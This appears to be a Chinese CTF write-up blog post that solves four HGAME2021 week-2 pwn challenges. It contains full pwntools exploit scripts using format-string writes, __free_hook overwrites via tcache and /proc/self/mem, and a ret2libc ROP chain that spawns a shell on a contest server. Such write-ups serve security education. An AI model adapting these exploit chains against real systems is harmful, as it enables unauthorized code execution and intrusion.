week2一共有4道pwn题

killerqueen

  有格式化字符串漏洞,题不算难,但是故事情节真实让人摸不着头脑,但是仔细分析分析,理清楚逻辑就可以做了。

  第一次choose1的时候,可以输入0,泄露weather,第二次choose1的时候,就可以让v1==0xFFFFFFFE,进入if分支给s输入值。这里的s的栈地址和存在格式化字符串的栈地址是共享的,并且没有偏移。

  这样就有两次机会使用格式化字符串,第一次先泄露libc地址,第二次用格式化字符串进行写操作。刚开始我是打exit_hook来拿shell。后来又用了一种方法,第一次泄露libc地址的时候同时泄露一个栈地址,然后再改写返回地址的位置为one_gadgets,这样也可以做。

 1 #!/usr/bin/python
2 # -*- coding: UTF-8 -*-
3 from pwn import *
4
5 p = process('./pwn')
6 elf = ELF('./pwn')
7 libc = ELF('./libc.so.6')
8 context(os='linux',arch='amd64',log_level='debug')
9
10 def duan():
11 gdb.attach(p)
12 pause()
13
14 p.sendlineafter('电话\n','0')
15 choose = 4294967294-int(p.recvuntil(':')[:-1])
16 p.sendafter('什么\n','bhxdn')
17 p.send('a')
18 p.sendlineafter('电话\n',str(choose))
19 payload = 'aaaaaaaa%47$p'
20 p.sendafter('电话号码是——\n',payload)
21
22 p.recvuntil('aaaaaaaa')
23 libc_base = int(p.recv(14),16)-231-libc.symbols['__libc_start_main']
24 print hex(libc_base)
25 exit_hook = libc_base+0x619060+3840
26 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
27 shell = libc_base+og[6]
28 payload = fmtstr_payload(6,{exit_hook:shell},write_size='short')
29
30 p.sendafter('什么\n',payload)
31 p.sendafter('什么\n','bhxdn')
32 p.interactive()

patriot’s note

  ubuntu18.04下的题,很简单,泄露libc后直接打__free_hook就能出。

 1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 def duan():
9 gdb.attach(p)
10 pause()
11 def add(size):
12 p.sendlineafter('exit\n','1')
13 p.sendlineafter('write?\n',str(size))
14 def edit(index,content):
15 p.sendlineafter('exit\n','3')
16 p.sendlineafter('edit?\n',str(index))
17 p.send(content)
18 def show(index):
19 p.sendlineafter('exit\n','4')
20 p.sendlineafter('show?\n',str(index))
21 def delete(index):
22 p.sendlineafter('exit\n','2')
23 p.sendlineafter('delete?\n',str(index))
24
25 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
26
27 add(0x410)
28 add(0x20)
29 delete(0)
30 show(0)
31 libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.symbols['__malloc_hook']-96-0x10
32 print 'libc_base-->'+hex(libc_base)
33 free_hook = libc_base+libc.symbols['__free_hook']
34 shell = libc_base+og[1]
35 delete(1)
36 edit(1,p64(free_hook))
37 add(0x20)
38 add(0x20)
39 edit(3,p64(shell))
40 delete(1)
41 p.interactive()

the_shop_of_cosmos

  在给了hint之后,才知道是考proc文件系统,在百度了一番之后鼓捣了出来,感觉又学到新知识了。

前置知识

/proc目录

  Linux系统内核提供了一种通过/proc文件系统,在程序运行时访问内核数据,改变内核设置的机制。/proc是一种伪文件结构,也就是说是仅存在于内存中,不存在于外存中的。/proc中一般比较重要的目录是sys,net和scsi,sys目录是可写的,可以通过它来访问和修改内核的参数。

  /proc中还有一些以PID命名(进程号)的进程目录,可以读取对应进程的信息。另外还有一个/self目录,用于记录本进程的信息。

/proc/self目录

  由上面的可知,我们可以通过/proc/$PID/目录来获得该进程的信息,但是这个方法需要知道进程的PID是多少,在fork、daemon等情况下,PID可能还会发生变化。所以Linux提供了self目录,来解决这个问题,这个目录比较独特,不同的进程来访问获得的信息是不同的,内容等价于/proc/本进程PID/目录下的内容。所以可以通过self目录直接获得自身的信息,不需要知道PID。

/proc/self/maps

  这个文件用于记录当前进程的内存映射关系,类似于gdb下的vmmap指令,通过读取该文件可以获得内存代码段基地址。

/proc/self/mem

  该文件记录的是进程的内存信息,通过修改该文件相当于直接修改进程的内存。这个文件是可读可写的,但是并不能直接进行读,需要结合maps的映射信息来确定读的偏移值,无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取出内容。

  也可以通过写入mem文件来直接写入内存,例如直接修改代码段写入shellcode、修改free_hook为one_gadgets等来拿shell。

利用思路

  0day1可以用来读取文件,可以用这个来读取/proc/self/maps来获得libc基地址。

  程序存在整数溢出,可以利用这个来修改钱,就可以使用0day2了,用0day2来写__free_hook为one_gadgets就可以拿到shell了。因为0day2最后会调用free函数。

  同时,还有一种比较稳定方法是修改__free_hook-8的位置为"/bin/sh",修改__free_hook为system,这样执行free的时候,会执行system,此时的rdi正好指向binsh字符串,可以稳定的拿到shell。

 1 from pwn import *
2
3 p = process('./pwn')
4 libc = ELF('./libc.so.6')
5 context.log_level = 'debug'
6
7 def duan():
8 gdb.attach(p)
9 pause()
10
11 p.sendlineafter('>> ','3')
12 p.sendlineafter('>> ','-100')
13 p.sendlineafter('>> ','2')
14 p.sendlineafter('>> ','1')
15 p.sendlineafter('>> ','/proc/self/maps\x00')
16 p.recvuntil('7f')
17 libc_base = '7f'+p.recv(10)
18 libc_base = int(libc_base,16)
19 print 'libc_base-->'+hex(libc_base)
20 print 'puts-->'+hex(libc.symbols['puts'])
21
22 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
23 shell = libc_base+og[5]
24
25 p.sendlineafter('>> ','3')
26 p.sendlineafter('>> ','1')
27 p.sendlineafter('>> ','/proc/self/mem\x00')
28 p.sendlineafter('>> ',str(libc_base+libc.symbols['__free_hook']))
29 p.sendlineafter('>> ','8')
30 p.sendafter('>> ',p64(shell))
31 p.interactive()

参考文章:https://www.anquanke.com/post/id/218886#h3-13

rop_primary

  先算两个矩阵相乘,然后就可以rop了,第一次做的时候用system怎么都做不出来,但是用ROPgadget做出来了。后来在system加了一个ret,发现可以打通了,应该是栈对齐的问题。(只知道这么多,具体细节可以参考ex师傅的博客:http://blog.eonew.cn/archives/958)

 1 from pwn import *
2 from LibcSearcher import *
3
4 context(os='linux',arch='amd64',log_level='debug')
5 elf=ELF('./pwn')
6 puts_plt_addr=0x401040
7 vuln_addr=0x40157B
8 pop_rdi=0x401613
9 libc_start_main_got_addr =0x403fe8
10 p=remote('159.75.104.107',30372)
11 puts_addr=0x404020
12 putchar_addr=0x404018
13 puts_got = 0x000404020
14
15 ha=0
16 hb=0
17 lista=[]
18 listb=[]
19 p.recvuntil('A:\n')
20 a = p.recvline()
21 la=a.count('\t')
22 while 1:
23 if a == 'B:\n':
24 break
25 else:
26 lista1=[]
27 i = 0
28 while 1:
29 try:
30 lista1.append(a.split("\t")[i])
31 i += 1
32 except:
33 break
34 lista.append(lista1[:-1])
35 ha+=1
36 a = p.recvline()
37
38 b = p.recvline()
39 lb=b.count('\t')
40 while 1:
41 if b == 'a * b = ?\n':
42 break
43 else:
44 listb1=[]
45 i = 0
46 while 1:
47 try:
48 listb1.append(b.split("\t")[i])
49 i += 1
50 except:
51 break
52 listb.append(listb1[:-1])
53 hb+=1
54 b = p.recvline()
55 for i in range(ha):
56 for j in range(lb):
57 num=0
58 for k in range(la):
59 num+=int(lista[i][k])*int(listb[k][j])
60 p.sendline(str(num))
61
62 p.recvuntil('try your best\n')
63 payload=0x30*'A'+8*'A'+p64(pop_rdi)+p64(puts_got)+p64(puts_plt_addr)+p64(vuln_addr)
64 print(payload)
65 p.sendline(payload)
66 libc_start_main_addr = u64(p.recv(6).ljust(8,'\x00'))
67 libc = LibcSearcher("puts", libc_start_main_addr)
68 print "__libc_start_main_addr: " + hex(libc_start_main_addr)
69 libcbase = libc_start_main_addr - libc.dump("puts")
70 print(hex(libcbase))
71 system_addr = libcbase + libc.dump("system")
72 binsh_addr = libcbase + libc.dump("str_bin_sh")
73 print "system_addr: " + hex(system_addr)
74 print "binsh_addr: " + hex(binsh_addr)
75 p.recvuntil('try your best\n')
76
77 ret = 0x00401260
78 p.sendline('A'*0x38+p64(pop_rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr))
79 #og = [0xe6c7e,0xe6c81,0xe6c84]
80 #shell = libcbase+og[0]
81 #pop_r12_r13_r14_r15 = 0x000040160c
82 #p.sendline('A'*0x38+p64(pop_r12_r13_r14_r15)+p64(0)*0x4+p64(shell))
83 p.interactive()

后记

  题目还行,感觉the_shop_of_cosmos那道题出的挺好的,学到东西了。第二周over!

HGAME2021 week2 pwn writeup的更多相关文章

  1. HGAME2021 week4 pwn writeup

    第四周只放出两道题,也不是很难. house_of_cosmos 没开pie,并且可以打got表. 在自写的输入函数存在漏洞.当a2==0时,因为时int类型,这里就会存在溢出.菜单题,但是没有输出功 ...

  2. HGAME2021 week3 pwn writeup

    一共放出五道题,都不是很难. blackgive 考栈转移,值得注意的一点是转移过去先填充几个ret,因为如果直接在转移过去的地方写rop链,执行起来会覆盖到上面的一些指针,导致程序不能正常输入和输出 ...

  3. Jarvis OJ - 栈系列部分pwn - Writeup

    最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...

  4. 攻防世界新手区pwn writeup

    CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...

  5. ISCC2018 Reverse & Pwn writeup

    Reference:L1B0 Re RSA256 春秋欢乐赛原题..flag都不变的 给了三个加密文件和公钥证书public.key,可以使用openssl进行处理 $openssl rsa -pub ...

  6. 虎符2021线下赛pwn writeup

    jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...

  7. NepCTF pwn writeup

    上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西. [签到] 送你一朵小红花 64位程序,保护全开. 程序会在buf[2]处留下一个da ...

  8. 2020ACTF pwn writeup

    为了打2021的ACTF,想着把2020年的pwn题做一做吧,发现2020年的pwn题质量还挺高的.反倒是2021年的题目质量不太高,好像是没有专门的pwn师傅出题,可以理解,毕竟办校赛,说白了就是用 ...

  9. SWPUCTF 2019 pwn writeup

    来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...

随机推荐

  1. Java数组声明

    初始赋值值:例:一个二维数组,有二个1维数组组成,每一个一维数组有3个元素int[][] a = { {1,2,3}, {4,5,6} } ;动态二维数组声明:例:一个二维数组,有二个1维数组组成,每 ...

  2. [cf643G]Choosing Ads

    首先对于$p>50$,有经典的做法,即不断删去区间中不同的两数,最终剩下的即为出现次数超过一半的数(或没有),用线段树维护即可 那么对于$p\le 50$,类似的,即删去区间中不同的$\lflo ...

  3. [loj3366]嘉年华奖券

    联系绝对值的几何意义/分类讨论,不难发现若$n$张奖券上的数从小到大依次为$a_{i}$,则收益为$\sum_{i=1}^{\frac{n}{2}}a_{i+\frac{n}{2}}-a_{i}$ 假 ...

  4. vue 3 学习笔记 (六)——watch 、watchEffect 新用法

    选项式API与之前写法相同,本篇文章主要通过 Options API 和 Composition API 对比 watch 的使用方法,让您快速掌握 vue3 中 watch 新用法.建议收藏! 一. ...

  5. 【Vue.js】SPA

    SPA 2019-11-13  23:20:48  by冲冲 1.概念 (1)MPA(multi-page application) 特点:每一次页面跳转的时候,后台服务器都会返回一个新的html文档 ...

  6. 关于uni-app导航栏中 中间大图标的设置

    在uni-app的开发过程中,想要将位于中间的图标设置更大,通过一般的更改导航栏图标大小方式实现不了.经过查看官方文档可以发现,我们可以通过midbutton来设置中间tabbar的样式. 但前提是, ...

  7. 【备考06组01号】第四届蓝桥杯JAVA组A组国赛题解

    1.填算式 (1)题目描述     请看下面的算式:     (ABCD - EFGH) * XY = 900     每个字母代表一个0~9的数字,不同字母代表不同数字,首位不能为0.     比如 ...

  8. 2021.9.30 Codeforces 中档题四道

    Codeforces 1528D It's a bird! No, it's a plane! No, it's AaParsa!(*2500) 考虑以每个点为源点跑一遍最短路,每次取出当前距离最小的 ...

  9. Codeforces 632F - Magic Matrix(暴力 bitset or Prim 求最小生成树+最小瓶颈路)

    题面传送门 开始挖老祖宗(ycx)留下来的东西.jpg 本来想水一道紫题作为 AC 的第 500 道紫题的,结果发现点开了道神题. 首先先讲一个我想出来的暴力做法.条件一和条件二直接扫一遍判断掉.先将 ...

  10. Linux—yum的python版本错误——高级解决方案

    彻底搞明白,python升级后,为什么会导致yum不可用 首先我们来分析下,python升级后,yum为什么会不可用? 先说个关于python的问题,Linux系统很多软件都依赖于python,因此不 ...